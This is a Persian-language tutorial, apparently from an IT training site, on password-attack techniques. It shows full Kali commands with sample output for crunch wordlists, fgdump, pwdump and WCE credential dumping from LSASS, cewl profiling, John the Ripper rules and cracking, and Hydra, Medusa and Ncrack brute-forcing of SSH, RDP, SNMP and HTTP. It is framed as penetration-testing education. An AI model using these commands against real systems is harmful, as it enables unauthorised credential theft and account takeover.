احسان امجدی
کارشناس امنیت اطلاعات و ارتباطات

کاملترین معرفی انواع روش ها و تکنیک های هک رمز ورود (Password)

در این مطلب درباره انواع روش های هک رمز ورود (Password) و تکنیک های آن صحبت کنم. درک کردن آن چه که در پشت زمینه حملات پسورد رخ میدهد، چندان پیچیده نیست. اگر برای دسترسی به یک سرویس نیاز به اطلاعات کاربری معتبر است و این اطلاعات کاربری مجاز همگی در یک چارچوب قالبی تعریف شده اند میتوان بسادگی این اطلاعات کاربری را حدس زد و یا علیه ان ها Brute force انجام داد و این کار تا زمانی ادامه خواهد داشت که اطلاعات کاربری معتبری را از میان تلاش هایمان پیدا کنیم.

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

Brute Force و Dictionary

بستگی به ماهیت سرویس ( برای مثال سرویس شبکه ای و یا سرویس لوکال)، تکنیک ها و ابزار مورد استفده برای اجرای این حمله ممکن است متغیر باشد. در حالت کلی پسوردهایی را که قرار است حدس بزنیم از دو سورس تامین خواهند شد:

  • Dictionary files
  •  Key-space brute-force

Dictionary Files چیست ؟

پسوردهایی که از dictionary file ها تامین میشوند، فایل هایی متنی ای هستند که شامل بازه زیادی از پسوردهای رایج میباشند. این پسوردها معمولا در ابزار password cracking استفاده میشوند که میتوانند این فایل های متنی را به عنوان ورودی قبول کنند و سپس سعی در احراز هویت سرویس مورد نظر با استفاده از پسوردهای موجود در فایل های پسورد خواهند کرد. لینوکس کالی در دل خود تعدادی از dictionary file ها را بصورت محدود دارد که در دایرکتوری زیر میتوان به آن ها دسترسی داشت:

/usr/share/wordlists/

Key-Space Brute-force چیست ؟

در این روش تمام ترکیب های ممکن از کاراکترها تولید و سپس از آن ها در فرآیند password cracking استفاده خواهد شد. یک نمونه از ابزار قدرتمند در ایجاد چنین لیست هایی، crunch نامیده میشود که در کالی بصورت پیش فرض موجود است. Crunch میتواند لیست های دلخواهی از کلمات را بر اساس مجموعه کاراکتر ها و فرمت های پسوردی که برایش تعیین میکنیم، تولید نماید.


روش های هک پسورد - بخش اول::: حملات دیکشنری و Brute-force

به عنوان مثال برای ایجاد لیست کلمات شامل کاراکترهای 0 تا 9 و A تا F، دستوری شبیه به آنچه را که در زیر نشان داده شده است، باید وارد شود:

root@kali:~# crunch 6 6  0123456789ABCDEF  -o crunch1.txt
Crunch will now generate the following amount of data: 117440512 bytes
112 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 16777216
100%
root@kali:~# wc -l crunch1.txt
16777216 crunch1.txt

علاوه بر این میتوانیم لیست کلمات را بر اساس یک مجموعه کاراکتر از پیش تعیین شده، تولید نماییم:

root@kali:~# crunch 4  4  -f  /usr/share/crunch/charset.lst mixalpha

از Crunch میتوان در تولید لیست های پسورد دلخواه تری نیز استفاده کرد. برای مثال سناریو زیر را در نظر بگیرید:
شما پسورد چند یوزر را از روی یک دیوایس کرک کرده اید:

root@kali:~# cat dumped.pass.txt
Ehsan: Abc$#123
Farhad: Jud()666
Milad: Hol&&278

با دیدن پسوردهای بدست آمده متوجه روند موجود در پسوردها میشوید:

[capital Letter]   [2 x lower case letters]   [2 x  special char]   [3 x  numeric]

شما میخواهید یک فایل از پسورد های 8 کاراکتری با پسوردهایی نظیر همان فرمت و ساختاری که در بالا نشان داده شد، ایجاد نمایید. Crunch بما این اجازه را میدهد تا این کار را با استفاده از متغیرهای مترجم کاراکتر، همانطور که در زیر بیان شده است، انجام دهیم:

@ - Lower case alpha characters
, -  Upper case alpha characters
% - Numeric character 
^ - special character including space

و نهایتا دستوری که برای ایجاد لیست پسوردی به آن نیاز است، شبیه به آنچه در زیر نشان داده شده است، میباشد:

root@kali:~# crunch 8 8  -t ,@@^^%%%
Crunch will now generate the following amount of data: 172262376000 bytes
164282 MB
160 GB
 0 TB
0 PB
Crunch will now generate the following number of liens: 19140264000
Aaa!!00
Aaa!!01
Aaa!!02
Aaa!!03
…

در دستور بالا دو نکته جالب وجود دارد که به آن ها اشاره خواهیم کرد:

  1. سایز بالای فایل خروجی: 160 GB، با بیش از 19 میلیارد داده. بسته به این که چه چیزی را میخواهید Brute-force کنید، مانند یک دیکشنری بزرگ، ممکن است این فایل با این حجم ورودی کافی نباشد.
  2. ابهام عبارتی که برای تولید این گونه پسوردها، در خط فرمان وارد کردیم. Crunch قابلیت های پیشرفته بسیاری دارد که باید برای درک کامل قابلیت های تولید پسورد، آن ها را کشف کرد! برای کسب اطلاعات بیشتر در مورد Crunch، با استفاده از دستور "man page crunch"، صفحه راهنمای آن را مطالعه کنید.

Fgdump و Pwdump

در ادامه سری مباحث هک و حملات پسوردها امروز ابعاد دیگری از این بحث را برای شما توضیح میدهم. در این نکته به توضیح و نحوه بدست آوردن هش های پسورد از طریق Fgdump و Pwdump میپردازم. با ادامه مطلب همراه باشید : سیستم های عامل ویندوز پسوردهای هش شده یوزرها را در Security Account Manager (SAM) نگهداری میکند.

برای جلوگیری از حملات آفلاین دیتابیس SAM، مایکروسافت قابلیت SYSKEY ( ویندوز NT 4.0 SP3) را معرفی کرده است که میتواند تا حدودی فایل SAM را رمزنگاری کند.سیستم های عامل مبتنی بر ویندوز NT، هش های پسورد را به دو صورت متفاوت نگهداری میکنند:

  • (LAN Manager (LM که بر اساس الگوریتم DES است.
  • (NT LAN Manager (NTLM که بر اساس الگوریتم رمزنگاری MD4 عمل میکند.

در این میان LM نسبت به NTLM بنا به دلایل زیر ضعیف تر است:

پسوردهای با بیش از هفت کاراکتر به دو رشته جدا تقسیم میشوند و هر بخش بطور جداگانه هش میشود.پسورد قبل از آن که هش شود، به حروف بزرگ تبدیل میشود.مکانیزم هشینگ LM شامل salt ها نمیشود. در این صورت حملات علیه rainbow table امکان پذیر خواهد بود.

  • نکته: در رمزنگاری، یک salt دیتای تصادفی است که به عنوان یک ورودی اضافه در یک تابع یکطرفه استفاده میشود؛ که میتواند کلمه عبور و یا پسورد را هش کند. اصلی ترین عملکرد salt ها محافظت در برابر حملات دیکشنری بر حسب لیستی از هش های پسورد و همچنین محافظت در برابر حملات از پیش محاسبه شده rainbow table است.

از ویندوز ویستا به بعد، LM بطور پیش فرض بر روی سیستم عامل غیر فعال است و از NTLM استفاده میشود که به حروف بزرگ و کوچک حساس است، تمام کاراکترهای Unicode را پشتبانی میکند و محدودیت ذخیره سازی پسورد در دو بخش را ندارد. اما با تمام این حرفا هنوزهم هش های ذخیره شده NTLM در دیتابیس SAM، هنوز salt نشده اند.

دیتابیس SAM تا زمانی که سیستم عامل در حال اجراست، نمیتواند کپی شود؛ بنابراین کرنل ویندوز بطور اختصاصی فایل سیستم را بر این فایل قفل نگه میدارد. اما با این وجود حملاتی که برای ضربه زدن به هش های SAM اجرا میشوند از تکنیک های مختلفی برای این کار استفاده خواهند کرد. بنابراین قفل بودن فایل توسط کرنل ویندوز، حاشیه زیاد امنی محسوب نمیشود.

Pwdump و Fgdump نمونه های خوبی از ابزاری هستند که میتوانند حملات in-memory را انجام دهند. آن ها این کار را با وارد کردن یک DLL (شامل hash dumping code است) به فرآیند (Local Security Authority Subsystem (LSASS انجام میدهند.

فرآیند LSASS دسترسی های لازم را برای استخراج هش های پسورد بمانند بسیاری از API های کاربردی که در ابزار hash dumping کاربرد دارند، در اختیار دارد. عملکرد Fgdump بسیار شبیه Pwdump است با این تفاوت که علاوه بر این شباهت ها، قبل از تلاش برای dump کردن هش های پسورد و اطلاعات ذخیره شده، اقدام به بستن پروسه آنتی ویروس (Kill) میکند.

C:\> fgdump.exe
Fgdump 2.1.0 – fizzing and the mighty group at foofus.net
Written to make j0m0kun,s life just a bit easier
Copyright© 2008 fizzing and foofus.net
…

** Beginning Local dump**
Os (127.0.0.1): Microsoft windos unknown server (build 7601)  (64-bit)
Passwords dumped successfully
Cache dumped successfully
------summary------
Failed servers:
NONE
Successful servers:
127.0.0.1

Total failed:0
Total successful:1

C:\>type 127.0.0.1.pwdump
Admin:500:NO PASSWORD*************************:640526A548DF8596964212CDE11257533
Ehsan:1000:NO PASSWORD:************************:56325A5893C212541DC1211252555B555
Milad:1003:NO PASSWORD:************************:45896541214C11222B111A44552233665
Farhad:1004:NO PASSWORD:***********************:44522122222C2256331414A11166223B4
Guest:501:NO PASSWORD:*************************:56631A332211548C1145A12226666B414

Windows Credential Editor

در ادامه سری مباحث password attacking به معرفی ابزار Windows Credential Editor) WCE) رسیدیم. WCE یک ابزار امنیتی است که به کاربر این اجازه را میدهد تا در آن واحد حملات مختلفی را برای بدست آوردن پسوردها و هش ها از یک سیستم تهدید شده (ویندوز)، انجام دهد. WCE میتواند اطلاعات NTLM را از مموری بدزدد و به پسوردهای ذخیره شده توسط بسته های احراز هویت ویندوز مانند msv1_0.dll، Kerberos.dll و digest.dll، دسترسی پیدا کند. WCE به دو طریق میتواند اطلاعات کاربری را سرقت کند:

  • استفاده از dll injection
  • خواندن مستقیم فرآیند LSASS از مموری

در روش دوم امنیت بیشتری را در زمینه ثبات سیستم عامل شاهد هستیم چرا که کد مستقیما به فرآیندی با دسترسی بالا تزریق نمیشود.

  • نکته: اجرای این ابزار فقط با دسترسی administrator امکان پذیر است.
C:\> whoami
Pc01\Administrator

C:\> wce –w
WCE v1.4beta  -  2010-2013 Amplia Security
Use –h for help.

Administrator\Pc01: U$er@29Gj""876
Administrator\itpro: $y&jH98*
Ehsan\itpro: HelL0$"$$

C:\>

Password Profiling

در ادامه سری مباحث هک پسورد، در این نکته میخواهم شما را با دو روش دیگر که در اجرای موفقیت آمیز یک password attack تاثیر بسزایی دارند، آشنا کنم.

Password Profiling چیست؟

یکی از راه هایی که میتوان فایل دیکشنری‌مان را به دلخواه ایجاد کنیم و آن را در برابر یک هدف خاص قدرتمند تر نماییم، استفاده از روش password profiling است. این روش شامل استفاده از لغات و عباراتی است که در رابطه با شرکتی که هدف ما در آن قرار دارد، بیشتر بچشم میخورد. این لیست از عبارات شانس شما را برای پیدا کردن پسورد صحیح در کمترین زمان بیشتر میکند. برای مثال tosinso.com را در نظر بگیرید.

فرض میکنیم این شرکت در زمینه نانو تکنولوژی فعالیت میکند. یکی از مدیران شبکه این شرکت از کلمه عبور " nanobots93" برای اجرای یکی از سرویس ها استفاده کرده است. عبارت "nanobots" به نظر میرسد نام یکی از محصولات تولیدی این شرکت باشد که نام آن در وب سایت اصلی شرکت، لیست شده است. با استفاده از ابزاری مانند cewl، میتوانیم وب سرورهای tosinso.com را برای بدست آوردن و تهیه لیستی از پسوردهای احتمالی از کلمات و عبارات موجود در صفحات اصلی آن ها، به اصطلاح شخم زد!

root@kali:~# cewl www.tosinso.com –m 6 –w itpro-cewl.txt
root@kali:~# cat itpro-cewl.txt | wc –l
331
root@kali:~# head itpro-cewl.txt
ItPro
Important
...
Systems
Itpro
Nanotechnology
Nanbots
… 

همانطور که مشاهده کردید، cewl توانست رشته "nanobots" را از وب سایت tosinso.com بازیابی کند و پسورد مورد نظر هم اکنون در فایل دیکشنری دلخواهمان که مختص به tosinso.com است، اضافه شده است.

Password Mutating چیست؟

کاربران غالبا تمایل دارند تا پسوردهایشان را با شیوه های مختلفی تغییر دهند. این تغییر میتواند شامل اضافه کردن چند رقم به آخر پسوردشان، جابجا کردن حروف بزرگ و کوچک بجای هم، عوض کردن برخی حروف با ارقام خاص مانند S با $ و مواردی نظیر این باشد. حالا میتوانیم از لیست پسوردی که توسط cewl ایجاد شده است، استفاده کرده و تغییرات معمول در عبارات موجود را تحت عنوان پسوردی جدید در لیست پسوردمان اضافه کنیم. مثلا در لیستی که بوسیله cewl ایجاد شده، عبارت " nanobots" را داریم.

میتوانیم با جایگزین کردن عدد صفر بجای حروف o و علامت $ بجای S در عبارت "nanobots"، عبارت جدیدی مثل "$nan0b0t" را تولید و به لیست پسوردمان اضافه کنیم. خوب همانطور که میبینید تولید ترکیب های مختلف به ازای تک تک پسوردهایی که در لیست پسورد داریم کاری سخت و زمانبر است.یک ابزار خوب برای انجام چنین کاری، John the Ripper است. John دارای یک فایل ساختاربندی است که در آن تغییرات و ترکیبات احتمالی پسورد قابل تعریف است. در مثال زیر یک رول ساده را برای اضافه کردن دو عدد به هر پسورد اضافه میکنیم:

root@kali:~# nano /etc/john/john.conf
…
# wordlist mode rules
[List.Rules:Wordlist]
#try words as they are
.
.
# Lowercase every pure alphanumeric word
-c > 3  !?X  l  Q
# capitalize every pure alphanumeric word
-c  (?a >2  !?X c  Q
# Lowercase and pluralize pure alphanumeric words
…
Try the second half of split passwords
-s x**
-s –c  x** M l Q
# add two number to the end of each password
$[0-9]$[0-9]
…

وقتی که فایل ساختاری john.conf بروز آپدیت شد، دیکشنری‌مان را که با 331 ورودی توسط cewl ایجاد کرده بودیم با ترکیبات تعریف شده از این 331 ورودی در هم می‌آمیزیم و در نهایت فایلی با حدود 50000 پسورد از ترکیبات مختلف پسوردهای اولیه خواهیم داشت. یکی از این پسوردهای ایجاد شده " nanobot93" است.

root@kali:~# john --wordlist=itpro-cewl.txt  --rules --stdout  >  mutated.txt
words:49304  time:  0:00:00:00  Done  (Tue Apr  23   12:20:20   2015)    w/s:1232K
current: obviously99

root@kali:~# grep nanobots mutated.txt
…
Nanobots90
Nanobots91
Nanobots92
Nanobots93
Nanobots94
…

توجه داشته باشید که این فقط در حد یک مثال ساده از تولید پسوردهای معتبر برای یک سرویس است. اما بخوبی نشان داد که داشتن یک لیست پسورد کامل و معتبر تا چه حد شما را در اجرای یک حمله Brute-force موفق کمک خواهد کرد.

Online Password Attack

در سری بخش های گذشته به معرفی روش ها و ابزارهای آفلاین هک پسورد پرداختیم. در این نکته میخواهیم بصورت آنلاین حملاتی را علیه پسوردها ترتیب دهیم و با روش ها و ابزارهای موجود آشنا شویم.حملات آنلاین علیه پسوردها شامل تلاش هایی برای حدس زدن پسورد (password-guessing) های سرویس های تحت شبکه است که از محیط احراز هویت username و پسورد استفاده میکنند.

این حمله شامل سرویس هایی نظیر HTTP, SSH, VNC, SNMP, POP3 و ... میشود. به منظور خودکار کردن حملات پسورد علیه یک سرویس تحت شبکه، باید بتوانیم درخواست احراز هویت پشت سر هم برای پروتکل مورد استفاده در آن سرویس تولید کنیم. خوشبختانه در این مورد ابزاری مانند Hydra, Medusa, Ncrack و حتی Metasploit بکمک ما می ایند و میتوانند درخواست های احراز هویت بسیاری را تولید کنند.

Hydra, Medusa و Ncrack چیست؟

این سه ابزار را شاید بتوان گفت محبوبترین ابزار در انجام ممیزی امنیت پسورد هستند. با این حال این ابزار نقاط قدرت و ضعف خود را دارند و در عین حال پروتکل های مختلف را نیز پشتیبانی میکنند. هرکدام از این سه ابزار رفتاری و عملکردی شبیه به دیگری دارد اما با این وجود باید برای یادگیری کار کردن با ان ها زمانی را کنار گذاشت. ارزش وقت گذاشتن را دارند!

HTTP Brute-force چیست؟

ابزار Medusa یک ابزار سریع، موازی کار و ماژولار در زمینه Brute-force کردن لاگین در نظر گرفته شده است. مثال زیر نمونه ای از حمله Brute-force با استفاده از ابزار Medusa است که بر علیه یک دایرکتوری وب محافظت شده صورت می پذیرد:

root@kali:~# medusa –h 192.168.11.219 -u admin -P password-file.txt -M http -m  DIR:/admin  -T 10
Account Check: [http] Host:192.168.11.219 (1 of 1, 0 complete) User:admin (1 of 1, 0 complete) Password:acquires (20 of 334 complete)
Account check: [http] Host: 192.168.11.219 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete) Password: Backup2 (21 of 334 complete)
Account Found: [http] Host:192.168.11.219 User: admin  Password: backup2 [success]

RDP Brute-force چیست؟

ابزار Ncrack که توسط سازندگان Nmap توسعه داده شده است، یک ابزار کرک احراز هویت شبکه ای و در عین حال بسیار پرسرعت است. ابزار Ncrack یکی از معدود ابزاری است که میتواند با اطمینان و سرعت لازم، پروتکل RDP ویندوز را مورد Brute-force قرار دهد:

root@kali:~#  ncrack -vv --user offsec -P password-file.txt  rdp://192.168.11.35
starting Ncrack 0.4ALPHA (http://ncrack.org) at 2015-09-28  14:14 EDT

Discovered credentials on rdp://192.168.11.35:3389  'offsec'   'offsec!'

SNMP Brute-force چیست؟

THC-Hydra یکی دیگر از کرکرهای قدرتمند پسوردهای آنلاین است. از این ابزار میتوان در کرک پروتکل های مختلف احراز هویت مانند SNMP استفاده کرد :

root@kali:~# hydra –P password-file.txt  -v  192.168.11.219  snmp
Hydra (http://thc.org/thc-hydra) starting at 2015-09-28  14:15:00
[Data] 16 tasks, 1 server, 333 login ties (l:1/p:333), ~20 tries per task
[Data] attacking service snmp on port 161
[Verbose] Resolving address … done
[161] [snmp] host: 192.168.11.219   login:   password: manager

SSH Brute-force چیست؟

ابزار Hydra در Brute-force پروتکل SSH نیز کارایی خود را نشان میدهد:

root@kali:~# hydra –l root –P  password-file.txt  192.168.11.219  ssh
Hydra v7.4.2 ©2012 by van Hauser/THC & David Maciejak
Hydra (http://thc.org/thc-hydra) starting at 2015-09-28  14:15:00
[Data] 16 tasks, 1 server, 332 login tries (l:1/p:332), ~20 tries per task
[Data] attacking service ssh on port 22
[ERROR] ssh protocol error
[ERROR] ssh protocol error
[22] [ssh] host:192.168.11.219   login:root   password: toor
1 of 1 target successfully completed, 1 valid password found
Hydra (http://thc.org/thc-hydra) starting at 2015-09-28  14:15:00

root@kali:~#

قفل شدن اکانت و لاگ ها هشدار دهنده چیست؟

حملات Online password Brute-force، بر طبق طبع و ذاتشان بسیار پر سر و صدا و پرنمود هستند. تلاش های لاگین ناموفق آنهم به تعداد بسیار زیاد معمولا تولید لاگ و هشدار بر روی سیستم مقصد میکند. در برخی حالات سیستم هدف ممکن است طور تنظیم شده باشد که اکانت را پس از تعداد معینی لاگین ناموفق، لاک کند. حال اگر شما در حال اجرای یک تست نفوذ بر روی شبکه خودتان باشید.

همین امر میتواند یک خروجی ناموفق را در حین اجرای تست نفوذ برای شما به همراه داشته باشد؛ چرا که کاربران مجاز ممکن است بدین واسطه نتوانند با حساب کاربری خود به سروی سهای مورد نظر خود دسترسی پیدا کنند و این امر تا زمانی که مدیر سیستم مجددا این حساب های کاربری را فعال نکند، ادامه خواهد داشت. پس حتما قبل از اجرای بی حساب و کتاب یک حمله Brute-force بصورت آنلاین این نکات را مد نظر داشته باشید. سربلند و مانا باشید.

Password Cracking و حملات به Hash

در ادامه سری مباحث هک پسورد، در این مقاله قصد بر این است تا در رابطه با حملات علیه هش پسوردها صحبت شود.یک تابع رمزنگاری هش، تابعی یکطرفه است که یک الگوریتم را پیاده سازی میکند. این تابع، قطعه ای داده دلخواه را دربافت کرده و رشته ای از بیت را که hash valueیا message digest نام دارد، بر میگرداند.

سایز hash value به ازای هر ورودی دلخواهی که به تابع دهیم، ثابت است. یکی از مهمترین استفاده های توابع رمزنگاری هش، قابلیت اجرایی آن ها در شناسایی پسورد است. اکثر سیستم ها که از مکانیزم احراز هویت بر اساس پسورد استفاده میکنند، ناچار به ذخیره این پسوردها بصورت لوکالی بر روی سیستم هستند.

بجای ذخیره پسوردها بصورت ساده و رمز نشده (clear-text)، مکانیزم های مدرن احراز هویت معمولا جهت بهبود امنیت، آن ها را بصورت هش شده ذخیره میکنند. به عبارت ساده تر، پسوردها را به عنوان ورودی به تابع هش وارد کرده و مقدار خروجی را به عنوان عبارت هش شده پسورد اصلی، ذخیره میکنند. این مکانیزم در مورد فرآیند احراز هویت در سیستم های عامل، سخت افزار شبکه و .. صدق میکند.

Password Cracking چیست؟

در علم رمزنگاری، password cracking فرآیند بازیابی عبارات clear-text ای است که به عنوان ورودی در تابع هش وارد شده بودند. هنگامی که نوع هش شناسایی شد، یکی از روش های معمول برای کرک کردن پسورد، شبیه سازی فرآیند احراز هویت با تکرار مداوم پسوردهای حدس زده شده و مقایسه digest یا همان hash value متناظر آن با یک هش بازیابی شده است.
شنماسایی نوع دقیق هش بدون داشتن هیچگونه اطلاعاتی در رابطه با برنامه و یا مکانیزم تولید کننده آن، ممکن است بسیار چالش برانگیز و حتی گاهی غیر ممکن باشد. لیستی از هش های معمول که شما میتوانید از آن ها به عنوان مرجع در تلاش برای شناسایی یک هش پسورد استفاده کنید، در وب‌سایت Openwall موجود است. هش ها سه خصوصیت اصلی دارند که باید به آن ها توجه شود:

  • طول هش (خروجی هر تابع هش، طول مخصوص بخود را دارد)
  • مجموعه کاراکترهای استفاده شده در هش
  • هر کاراکتر خاصی که ممکن است در هش وجود داشته باشد

برنامه های کرک پسورد مختلف مانند John، از خصوصیت تطابق الگوی یک هش گرفته شده برای حدس زدن الگوریتم مورد استفاده بهره میبرند؛ اما باید توجه داشت که این تکنیک فقط در مورد هش های معمول جواب میدهد. ابزار دیگری که سعی در انجام این وظیفه دارد، hash identifier است:

root@kali:~# hash-identifier
…

HASH: c43ee559d65gh85ff785ef7er89223

Possible Hashs:
[+] 	MD5
[+]	Domain Cached Credentials – MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:
[+]	RAdmin v2.x
[+]	NTLM
[+]	MD4
[+]	MD2
[+]	MD5(HMAC)
[+]	MD4(HMAC)
[+]	MD2(HMAC)
[+]	MD5(HMAC(wordpress))
[+]	Haval-128
[+]	Haval-128(HMAC)
[+]	RipeMD-128
[+]	RipeMD-128(HMAC)
…

John the Ripper چیست؟

وقتی که شما هش های پسورد را از سیستم هدف بازیابی کردید، میتوانید در فاز بعد سعی در کرک آن کنید و هنگامی که بدین طریق پسوردهای clear-text را بدست آوردید، خواهید توانست از آن ها جهت حملات آتی نهایت استفاده را ببرید. یکی از پرکاربردترین ابزارهای موجود در کرک پسوردها، ابزار John the Ripper است. John میتواند ده ها نوع فرمت پسورد را پشتیبانی کند.

root@kali:~# john 127.0.0.1.pwdump
warning: detected hash type "nt", but the string is also recognized as "nt2"
use the --format=nt2" option to force loading these as that type instead
loaded 7 password hashes with no different salts (NT MD4 [ 128/128  SSE2 +  32/32])

اگر توانستیم در اجرای این ابزار، خروجی بالا را مشاهده کنیم، به این معنی است که John توانسته است نوع هش را بدرستی شناسایی کند. یک حمله brute-force مثل آنچه که در بالا دیدیم، زمان زیادی را بخود اختصاص میدهد. علاوه بر این برای کاهش زمان مصرفی میتوانیم از پارامتر wordlist- در فرمان John استفاده کنیم :

root@kali:~# john –wordlist=/usr/share/wordlists/rockyou.txt  127.0.0.1.pwdump

اگر پسوردی مانده بود که کرک نشده بود، میتوانیم در مرحله بعد از رول های مدیریت لغات John با کاربرد پارامتر rules- استفاده کنیم.

Root@kali:~# john --rules –wordlist=/usr/share/wordlists/rockyou.txt  127.0.0.1.pwdump

به منظور کرک کردن هش های لینوکسی با استفاده از ابزار john، ابتدا باید از مولفه unshadow برای ترکیب فایل های passwd و shadow (در سیستم هدف) استفاده کنیم.

root@kali:~# unshadow passwd-file.txt shadow-file.txt
victim:$6$H45gyN758%jkiuhgb/42#jjml.'JD7885*$5454AS/Jhgtfd567$@,,,:/home/victim:/bin/bash
root@kali:~# unshadow passwd-file.txt shadow-file.txt > unshadowed.txt

حالا میتوانیم با استفاده از فایل unshadowed و قرار دادن آن در John، هش های پسورد را کرک کنیم.

root@kali:~# john --rules  --wordlist=/usr/share/wordlists/rockyou.txt  unshadowed.txt
Warning: detected hash type "sha512crypt:, but the string is also recognized as "crypt"
Use the "--format=crypt" option to force loading these as that tupe instead loaded 1 password hash (sha512crypt  [32/32])
S3cr3t			(victim)
Guesses: 1	time: 0:00:05:18  Done (Wed Sep  19   15:32:16    2015)	c/s:  219
Trying: s3cr3t

سربلند و مانا باشید.

  • چند روش هک کردن پسورد وجود دارد؟

    تکنیک های مختلفی برای هک کردن پسورد وجود دارد که مهمترین آنها حملات Brute force ، حملات Dictionary ، حملات Profiling و ... می شوند که در این مقاله بصورت مفصل در خصوص این حملات صحبت شده است.
  • پسوردها هک می شوند یا کرک؟

    بهتر است برای بدست آوردن و خارج کردن پسوردها از حالت رمزنگاری شده به حالت قابل مشاهده از لفظ کرک کردن یا شکستن کلید رمزنگاری هش استفاده شود.

احسان امجدی
احسان امجدی

کارشناس امنیت اطلاعات و ارتباطات

احسان امجدی ، مشاور امنیت اطلاعات و ارتباطات و تست نفوذ سنجی ، هکر کلاه سفید ، مدرس دوره های تخصصی امنیت اطلاعات و شبکه ، تخصص در حوزه های سرویس های مایکروسافت ، Routing و Switching ، مجازی سازی ، امنیت اطلاعات و تست نفوذ ، کشف جرائم رایانه ای و سیستم عامل لینوکس ، متخصص در حوزه SOC و ...

نظرات